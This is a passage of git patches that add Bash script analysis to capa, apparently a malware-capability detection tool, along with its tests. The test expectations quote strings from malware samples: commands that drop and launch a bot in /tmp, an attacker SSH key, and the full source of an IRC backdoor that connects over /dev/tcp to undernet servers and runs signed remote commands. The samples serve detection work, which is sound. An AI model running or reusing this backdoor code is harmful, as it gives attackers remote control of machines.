do_test_ts_extractor_engine_get_new_objects( def do_test_ts_extractor_engine_get_function_definitions( - engine: TreeSitterExtractorEngine, root_node: Node, expected: List[Tuple[str, str]] + engine: TreeSitterBaseEngine, root_node: Node, expected: List[Tuple[str, str]] ): assert list(engine.get_function_definitions(engine.tree.root_node)) == list(engine.get_function_definitions()) assert len(list(engine.get_function_definitions(root_node))) == len(expected) @@ -128,7 +129,7 @@ def do_test_ts_extractor_engine_get_function_definitions( def do_test_ts_extractor_engine_get_function_calls( - engine: TreeSitterExtractorEngine, root_node: Node, expected: List[Tuple[str, str]] + engine: TreeSitterBaseEngine, root_node: Node, expected: List[Tuple[str, str]] ): assert len(list(engine.get_function_call_names(root_node))) == len(expected) for node, (_, expected_id_range) in zip(engine.get_function_call_names(root_node), expected): @@ -137,9 +138,7 @@ def do_test_ts_extractor_engine_get_function_calls( do_test_ts_base_engine_get_address(engine, node) -def do_test_ts_extractor_engine_get_string_literals( - engine: TreeSitterExtractorEngine, root_node: Node, expected: List[str] -): +def do_test_ts_extractor_engine_get_string_literals(engine: TreeSitterBaseEngine, root_node: Node, expected: List[str]): assert len(list(engine.get_string_literals(root_node))) == len(expected) for node, expected_range in zip(engine.get_string_literals(root_node), expected): assert isinstance(node, Node) @@ -148,7 +147,7 @@ def do_test_ts_extractor_engine_get_string_literals( def do_test_ts_extractor_engine_get_integer_literals( - engine: TreeSitterExtractorEngine, root_node: Node, expected: List[str] + engine: TreeSitterBaseEngine, root_node: Node, expected: List[str] ): assert len(list(engine.get_integer_literals(root_node))) == len(expected) for node, expected_range in zip(engine.get_integer_literals(root_node), expected): @@ -166,7 +165,7 @@ def do_test_ts_extractor_engine_get_namespaces(engine: TreeSitterExtractorEngine do_test_ts_base_engine_get_address(engine, node) -def do_test_ts_extractor_engine_get_global_statements(engine: TreeSitterExtractorEngine, expected: List[str]): +def do_test_ts_extractor_engine_get_global_statements(engine: TreeSitterBaseEngine, expected: List[str]): assert len(list(engine.get_global_statements())) == len(expected) for node, expected_range in zip(engine.get_global_statements(), expected): assert isinstance(node, Node) @@ -183,6 +182,18 @@ def do_test_ts_extractor_engine_get_assigned_property_names( do_test_ts_base_engine_get_address(engine, node) +def do_test_ts_bash_engine(engine: TreeSitterBashEngine, expected: dict): + root_node = engine.tree.root_node + + do_test_ts_extractor_engine_init(engine, expected["language"]) + do_test_ts_extractor_engine_get_function_definitions(engine, root_node, expected["all function definitions"]) + do_test_ts_extractor_engine_get_function_calls(engine, root_node, expected["all function calls"]) + do_test_ts_extractor_engine_get_string_literals(engine, root_node, expected["all string literals"]) + do_test_ts_extractor_engine_get_integer_literals(engine, root_node, expected["all integer literals"]) + do_test_ts_extractor_engine_get_global_statements(engine, expected["global statements"]) + do_test_ts_base_engine_get_default_address(engine) + + @parametrize( "engine_str,expected", [ @@ -448,6 +459,10 @@ def do_test_ts_extractor_engine_get_assigned_property_names( ], ) def test_ts_extractor_engine(request: pytest.FixtureRequest, engine_str: str, expected: dict): + if expected["language"] == LANG_BASH: + bash_engine: TreeSitterBashEngine = request.getfixturevalue(engine_str) + do_test_ts_bash_engine(bash_engine, expected) + return engine: TreeSitterExtractorEngine = request.getfixturevalue(engine_str) do_test_ts_extractor_engine_init(engine, expected["language"]) do_test_ts_extractor_engine_get_new_objects(engine, engine.tree.root_node, expected["all objects"]) From 4a6c0e6ec35edfbcf3a048c7e1f447484fa99f09 Mon Sep 17 00:00:00 2001 From: saniyafatima07 Date: Thu, 20 Aug 2026 14:53:43 +0530 Subject: [PATCH 07/10] Add posixpath to handle path prefixes --- capa/features/extractors/ts/tools.py | 6 +++++- tests/test_ts.py | 8 ++++++++ 2 files changed, 13 insertions(+), 1 deletion(-) diff --git a/capa/features/extractors/ts/tools.py b/capa/features/extractors/ts/tools.py index 249dc7158a..03cf09158a 100644 --- a/capa/features/extractors/ts/tools.py +++ b/capa/features/extractors/ts/tools.py @@ -14,6 +14,7 @@ import abc import json +import posixpath import importlib.resources from typing import Dict, List, Tuple, Union, Callable, Iterator, Optional from dataclasses import dataclass @@ -232,7 +233,10 @@ def get_default_namespaces(self, embedded: bool) -> set[BaseNamespace]: return set() def format_imported_function(self, name: str) -> str: - return name + return posixpath.basename(name) + + def get_full_name(self, name: str, namespace: Optional[BaseNamespace] = None) -> str: + return posixpath.basename(name) class CSharpToolkit(LanguageToolkit): diff --git a/tests/test_ts.py b/tests/test_ts.py index 5088e522f6..1a30f3f933 100644 --- a/tests/test_ts.py +++ b/tests/test_ts.py @@ -182,6 +182,13 @@ def do_test_ts_extractor_engine_get_assigned_property_names( do_test_ts_base_engine_get_address(engine, node) +def do_test_bash_command_with_path_prefix(): + toolkit = LANGUAGE_TOOLKITS[LANG_BASH] + + assert toolkit.is_imported_function("/usr/bin/curl") + assert toolkit.format_imported_function("/usr/bin/curl") == "curl" + + def do_test_ts_bash_engine(engine: TreeSitterBashEngine, expected: dict): root_node = engine.tree.root_node @@ -192,6 +199,7 @@ def do_test_ts_bash_engine(engine: TreeSitterBashEngine, expected: dict): do_test_ts_extractor_engine_get_integer_literals(engine, root_node, expected["all integer literals"]) do_test_ts_extractor_engine_get_global_statements(engine, expected["global statements"]) do_test_ts_base_engine_get_default_address(engine) + do_test_bash_command_with_path_prefix() @parametrize( From 0fc020cba95595adaec2aeeba88bd45e990ab0ff Mon Sep 17 00:00:00 2001 From: saniyafatima07 Date: Thu, 20 Aug 2026 15:25:07 +0530 Subject: [PATCH 08/10] Fix: heredoc query --- capa/features/extractors/ts/query.py | 1 - tests/test_ts.py | 6 ++---- 2 files changed, 2 insertions(+), 5 deletions(-) diff --git a/capa/features/extractors/ts/query.py b/capa/features/extractors/ts/query.py index 331a889335..3af1ea23aa 100644 --- a/capa/features/extractors/ts/query.py +++ b/capa/features/extractors/ts/query.py @@ -123,7 +123,6 @@ def deserialize(language: str, binding: dict) -> dict: (string) @string-literal (raw_string) @string-literal (heredoc_body) @string-literal - (heredoc_start) @string-literal ] """, # 1 or 2>file diff --git a/tests/test_ts.py b/tests/test_ts.py index 1a30f3f933..c38fa1ea50 100644 --- a/tests/test_ts.py +++ b/tests/test_ts.py @@ -304,9 +304,9 @@ def do_test_ts_bash_engine(engine: TreeSitterBashEngine, expected: dict): ("rm -rf /tmp/ktx*", "rm"), ("rm -rf /tmp/cpuminer-multi", "rm"), ("rm -rf /var/tmp/kaiten", "rm"), - ("cat > /tmp/public.pem < /tmp/public.pem", "cat"), ("mktemp -u 'XXXXXXXX'", "mktemp"), - ("cat > /tmp/$BOT <<'EOFMARKER'", "cat"), + ("cat > /tmp/$BOT", "cat"), ("chmod +x /tmp/$BOT", "chmod"), ("nohup /tmp/$BOT 2>&1 > /tmp/bot.log &", "nohup"), ("rm /tmp/nohup.log -rf", "rm"), @@ -340,10 +340,8 @@ def do_test_ts_bash_engine(engine: TreeSitterBashEngine, expected: dict): '"127.0.0.1 bins.deutschland-zahlung.eu"', '"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCl0kIN33IJISIufmqpqg54D6s4J0L7XV2kep0rNzgY1S1IdE8HDef7z1ipBVuGTygGsq+x4yVnxveGshVP48YmicQHJMCIljmn6Po0RMC48qihm/9ytoEYtkKkeiTR02c6DyIcDnX3QdlSmEqPqSNRQ/XDgM7qIB/VpYtAhK/7DoE8pqdoFNBU5+JlqeWYpsMO+qkHugKA5U22wEGs8xG2XyyDtrBcw10xz+M7U8Vpt0tEadeV973tXNNNpUgYGIFEsrDEAjbMkEsUw+iQmXg37EusEFjCVjBySGH3F+EQtwin3YmxbB9HRMzOIzNnXwCFaYU5JjTNnzylUBp/XB6B"', '"nameserver 8.8.8.8"', - "EOFMARKER", "-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC/ihTe2DLmG9huBi9DsCJ90MJs\nglv7y530TWw2UqNtKjPPA1QXvNsWdiLpTzyvk8mv6ObWBF8hHzvyhJGCadl0v3HW\nrXneU1DK+7iLRnkI4PRYYbdfwp92nRza00JUR7P4pghG5SnRK+R/579vIiy+1oAF\nWRq+Z8HYMvPlgSRA3wIDAQAB\n-----END PUBLIC KEY-----\n", "'XXXXXXXX'", - "'EOFMARKER'", '#!/bin/bash\n\nSYS=`uname -a | md5sum | awk -F\' \' \'{print $1}\'`\nNICK=a${SYS:24}\nwhile [ true ]; do\n\n\tarr[0]="ix1.undernet.org"\n\tarr[1]="ix2.undernet.org"\n\tarr[2]="Ashburn.Va.Us.UnderNet.org"\n\tarr[3]="Bucharest.RO.EU.Undernet.Org"\n\tarr[4]="Budapest.HU.EU.UnderNet.org"\n\tarr[5]="Chicago.IL.US.Undernet.org"\n\trand=$[$RANDOM % 6]\n\tsvr=${arr[$rand]}\n\n\teval \'exec 3<>/dev/tcp/$svr/6667;\'\n\tif [[ ! "$?" -eq 0 ]] ; then\n\t\t\tcontinue\n\tfi\n\n\techo $NICK\n\n\teval \'printf "NICK $NICK\\r\\n" >&3;\'\n\tif [[ ! "$?" -eq 0 ]] ; then\n\t\t\tcontinue\n\tfi\n\teval \'printf "USER user 8 * :IRC hi\\r\\n" >&3;\'\n\tif [[ ! "$?" -eq 0 ]] ; then\n\t\tcontinue\n\tfi\n\n\t# Main loop\n\twhile [ true ]; do\n\t\teval "read msg_in <&3;"\n\n\t\tif [[ ! "$?" -eq 0 ]] ; then\n\t\t\tbreak\n\t\tfi\n\n\t\tif [[ "$msg_in" =~ "PING" ]] ; then\n\t\t\tprintf "PONG %s\\n" "${msg_in:5}";\n\t\t\teval \'printf "PONG %s\\r\\n" "${msg_in:5}" >&3;\'\n\t\t\tif [[ ! "$?" -eq 0 ]] ; then\n\t\t\t\tbreak\n\t\t\tfi\n\t\t\tsleep 1\n\t\t\teval \'printf "JOIN #biret\\r\\n" >&3;\'\n\t\t\tif [[ ! "$?" -eq 0 ]] ; then\n\t\t\t\tbreak\n\t\t\tfi\n\t\telif [[ "$msg_in" =~ "PRIVMSG" ]] ; then\n\t\t\tprivmsg_h=$(echo $msg_in| cut -d\':\' -f 3)\n\t\t\tprivmsg_data=$(echo $msg_in| cut -d\':\' -f 4)\n\t\t\tprivmsg_nick=$(echo $msg_in| cut -d\':\' -f 2 | cut -d\'!\' -f 1)\n\n\t\t\thash=`echo $privmsg_data | base64 -d -i | md5sum | awk -F\' \' \'{print $1}\'`\n\t\t\tsign=`echo $privmsg_h | base64 -d -i | openssl rsautl -verify -inkey /tmp/public.pem -pubin`\n\n\t\t\tif [[ "$sign" == "$hash" ]] ; then\n\t\t\t\tCMD=`echo $privmsg_data | base64 -d -i`\n\t\t\t\tRES=`bash -c "$CMD" | base64 -w 0`\n\t\t\t\teval \'printf "PRIVMSG $privmsg_nick :$RES\\r\\n" >&3;\'\n\t\t\t\tif [[ ! "$?" -eq 0 ]] ; then\n\t\t\t\t\tbreak\n\t\t\t\tfi\n\t\t\tfi\n\t\tfi\n\tdone\ndone\n', "'XXXXXXXX'", '"cd /tmp && chmod +x $NAME && bash -c ./$NAME"', From f5751c0798682145b0ac87f612b7ccea8eaa22c0 Mon Sep 17 00:00:00 2001 From: saniyafatima07 Date: Thu, 20 Aug 2026 18:40:28 +0530 Subject: [PATCH 09/10] Add feature presence test for piped commands --- capa/features/extractors/ts/signatures/sh.json | 1 + tests/test_ts.py | 3 +++ 2 files changed, 4 insertions(+) diff --git a/capa/features/extractors/ts/signatures/sh.json b/capa/features/extractors/ts/signatures/sh.json index 459bb81d23..35563f072e 100644 --- a/capa/features/extractors/ts/signatures/sh.json +++ b/capa/features/extractors/ts/signatures/sh.json @@ -32,6 +32,7 @@ "curl", "dd", "env", + "exit", "fetch", "iptables", "killall", diff --git a/tests/test_ts.py b/tests/test_ts.py index c38fa1ea50..13ef6a78ee 100644 --- a/tests/test_ts.py +++ b/tests/test_ts.py @@ -1383,6 +1383,7 @@ def do_test_ts_html_engine_init(engine: TreeSitterHTMLEngine): ("sh_91800a", "function=PSEUDO MAIN", Number(3), True), ("sh_91800a", "function=PSEUDO MAIN", String("/tmp/.cache"), True), ("sh_91800a", "function=PSEUDO MAIN", API("builtins.test"), True), + ("sh_91800a", "function=PSEUDO MAIN", API("exit"), True), ("sh_cff512", "global", ScriptLanguage(LANGUAGE_FEATURE_FORMAT[LANG_BASH]), True), ("sh_cff512", "file", Format(FORMAT_SCRIPT), True), ("sh_cff512", "function=PSEUDO MAIN", API("killall"), True), @@ -1392,6 +1393,8 @@ def do_test_ts_html_engine_init(engine: TreeSitterHTMLEngine): ("sh_cff512", "function=PSEUDO MAIN", API("usermod"), True), ("sh_cff512", "function=PSEUDO MAIN", Number(6667), False), ("sh_cff512", "function=PSEUDO MAIN", Substring("8.8.8.8"), True), + ("sh_cff512", "function=PSEUDO MAIN", Substring("base64"), True), + ("sh_cff512", "function=PSEUDO MAIN", Substring("awk"), True), ("py_24e48f", "global", Arch(ARCH_ANY), True), ("py_24e48f", "global", OS(OS_ANY), True), ("py_24e48f", "global", ScriptLanguage(LANGUAGE_FEATURE_FORMAT[LANG_PY]), True), From 9242281cf6361586960b783bc28d8c8fc82245ef Mon Sep 17 00:00:00 2001 From: saniyafatima07 Date: Thu, 20 Aug 2026 22:36:44 +0530 Subject: [PATCH 10/10] Fix: content-based autodetection on bash --- capa/features/extractors/common.py | 3 +++ capa/features/extractors/ts/autodetect.py | 2 -- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/capa/features/extractors/common.py b/capa/features/extractors/common.py index 06fccd06dc..7a25d5cfe5 100644 --- a/capa/features/extractors/common.py +++ b/capa/features/extractors/common.py @@ -53,6 +53,7 @@ MATCH_ELF = b"\x7fELF" MATCH_RESULT = b'{"meta":' MATCH_JSON_OBJECT = b'{"' +MATCH_GZIP = b"\x1f\x8b" def extract_file_strings(buf: bytes) -> Iterator[tuple[String, Address]]: @@ -75,6 +76,8 @@ def extract_format(buf: bytes) -> Iterator[tuple[Feature, Address]]: yield Format(FORMAT_FREEZE), NO_ADDRESS elif buf.startswith(MATCH_RESULT): yield Format(FORMAT_RESULT), NO_ADDRESS + elif buf.startswith(MATCH_GZIP): + return elif re.sub(rb"\s", b"", buf[:20]).startswith(MATCH_JSON_OBJECT): # potential start of JSON object data without whitespace # we don't know what it is exactly, but may support it (e.g. a dynamic CAPE sandbox report) diff --git a/capa/features/extractors/ts/autodetect.py b/capa/features/extractors/ts/autodetect.py index d462ab21c7..11b0a95fc8 100644 --- a/capa/features/extractors/ts/autodetect.py +++ b/capa/features/extractors/ts/autodetect.py @@ -54,8 +54,6 @@ def _contains_errors(ts_language, node: Node) -> bool: def get_language_ts(buf: bytes) -> str: for language, ts_language in TS_LANGUAGES.items(): - if language == LANG_BASH: - continue tree = _parse(ts_language, buf) if tree and not _contains_errors(ts_language, tree.root_node): return language